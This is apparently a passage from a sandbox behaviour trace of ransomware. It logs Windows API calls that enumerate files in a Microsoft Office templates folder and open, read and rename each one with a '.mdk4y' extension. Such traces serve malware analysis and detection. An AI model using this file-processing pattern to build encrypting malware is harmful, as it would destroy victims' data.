lpUsedDefaultChar=0x37df4c) returned 11 [0238.335] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831356700000) returned 1 [0238.337] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0238.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831360900000) returned 1 [0238.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831360900000) returned 1 [0238.399] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.dpv.mdk4y")) returned 1 [0238.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.401] AreFileApisANSI () returned 1 [0238.401] GetACP () returned 0x4e4 [0238.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BIZFORM.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BIZFORM.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0238.401] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831363200000) returned 1 [0238.402] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10a46, lpOverlapped=0x0) returned 1 [0238.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831363400000) returned 1 [0238.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831363400000) returned 1 [0238.405] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml.mdk4y")) returned 1 [0238.407] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.407] AreFileApisANSI () returned 1 [0238.407] GetACP () returned 0x4e4 [0238.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BORDERBB.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BORDERBB.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0238.407] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.408] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831363800000) returned 1 [0238.409] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf0ec, lpOverlapped=0x0) returned 1 [0238.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831365400000) returned 1 [0238.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831365400000) returned 1 [0238.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.dpv.mdk4y")) returned 1 [0238.428] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.428] AreFileApisANSI () returned 1 [0238.428] GetACP () returned 0x4e4 [0238.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BORDERBB.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BORDERBB.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.428] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831366000000) returned 1 [0238.430] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e42, lpOverlapped=0x0) returned 1 [0238.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831366100000) returned 1 [0238.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831366100000) returned 1 [0238.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BORDERBB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\borderbb.poc.mdk4y")) returned 1 [0238.464] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.464] AreFileApisANSI () returned 1 [0238.464] GetACP () returned 0x4e4 [0238.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BRCH98SP.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BRCH98SP.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.464] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brch98sp.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831369600000) returned 1 [0238.466] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f046, lpOverlapped=0x0) returned 1 [0238.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831377600000) returned 1 [0238.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831377600000) returned 1 [0238.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brch98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCH98SP.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brch98sp.poc.mdk4y")) returned 1 [0238.550] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.550] AreFileApisANSI () returned 1 [0238.550] GetACP () returned 0x4e4 [0238.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BRCHUR11.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BRCHUR11.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831378100000) returned 1 [0238.552] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x98f72, lpOverlapped=0x0) returned 1 [0238.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831385200000) returned 1 [0238.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831385200000) returned 1 [0238.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur11.poc.mdk4y")) returned 1 [0238.631] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.631] AreFileApisANSI () returned 1 [0238.631] GetACP () returned 0x4e4 [0238.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BRCHUR98.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BRCHUR98.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.631] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831386200000) returned 1 [0238.633] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0238.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831393800000) returned 1 [0238.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831393800000) returned 1 [0238.801] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BRCHUR98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brchur98.poc.mdk4y")) returned 1 [0238.803] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.803] AreFileApisANSI () returned 1 [0238.803] GetACP () returned 0x4e4 [0238.803] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BROCHURE.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BROCHURE.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0238.803] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831403400000) returned 1 [0238.804] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa7190, lpOverlapped=0x0) returned 1 [0238.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831408600000) returned 1 [0238.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831408600000) returned 1 [0238.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.dpv.mdk4y")) returned 1 [0238.864] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.864] AreFileApisANSI () returned 1 [0238.864] GetACP () returned 0x4e4 [0238.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BROCHURE.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BROCHURE.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0238.864] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831409600000) returned 1 [0238.866] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x757a, lpOverlapped=0x0) returned 1 [0238.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831409700000) returned 1 [0238.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831409700000) returned 1 [0238.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml.mdk4y")) returned 1 [0238.870] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.870] AreFileApisANSI () returned 1 [0238.870] GetACP () returned 0x4e4 [0238.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS2BARB.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS2BARB.POCL", lpUsedDefaultChar=0x37df4c) returned 11 [0238.870] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs2barb.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831410200000) returned 1 [0238.872] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa28, lpOverlapped=0x0) returned 1 [0238.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831410300000) returned 1 [0238.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831410300000) returned 1 [0238.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs2barb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs2barb.poc.mdk4y")) returned 1 [0238.875] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.875] AreFileApisANSI () returned 1 [0238.875] GetACP () returned 0x4e4 [0238.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS4BOXES.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS4BOXES.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.875] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs4boxes.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831410600000) returned 1 [0238.876] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa26, lpOverlapped=0x0) returned 1 [0238.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831410700000) returned 1 [0238.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831410700000) returned 1 [0238.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs4boxes.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS4BOXES.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs4boxes.poc.mdk4y")) returned 1 [0238.880] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.880] AreFileApisANSI () returned 1 [0238.880] GetACP () returned 0x4e4 [0238.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BS53BOXS.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BS53BOXS.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs53boxs.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831411100000) returned 1 [0238.881] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x400, lpOverlapped=0x0) returned 1 [0238.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831422300000) returned 1 [0238.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831422300000) returned 1 [0238.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs53boxs.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS53BOXS.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bs53boxs.poc.mdk4y")) returned 1 [0238.995] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0238.995] AreFileApisANSI () returned 1 [0238.995] GetACP () returned 0x4e4 [0238.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BZCARD11.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BZCARD11.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0238.995] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcard11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0238.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831422700000) returned 1 [0238.997] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12c2a, lpOverlapped=0x0) returned 1 [0239.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831427700000) returned 1 [0239.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831427700000) returned 1 [0239.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcard11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARD11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcard11.poc.mdk4y")) returned 1 [0239.050] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.050] AreFileApisANSI () returned 1 [0239.050] GetACP () returned 0x4e4 [0239.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BZCARDHM.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BZCARDHM.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0239.050] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcardhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831428200000) returned 1 [0239.052] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe6f8, lpOverlapped=0x0) returned 1 [0239.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831428300000) returned 1 [0239.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831428300000) returned 1 [0239.054] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcardhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCARDHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcardhm.poc.mdk4y")) returned 1 [0239.055] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0239.055] AreFileApisANSI () returned 1 [0239.055] GetACP () returned 0x4e4 [0239.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BZCD98SP.POC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BZCD98SP.POC", lpUsedDefaultChar=0x37df4c) returned 12 [0239.055] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BZCD98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bzcd98sp.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0239.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831428700000) 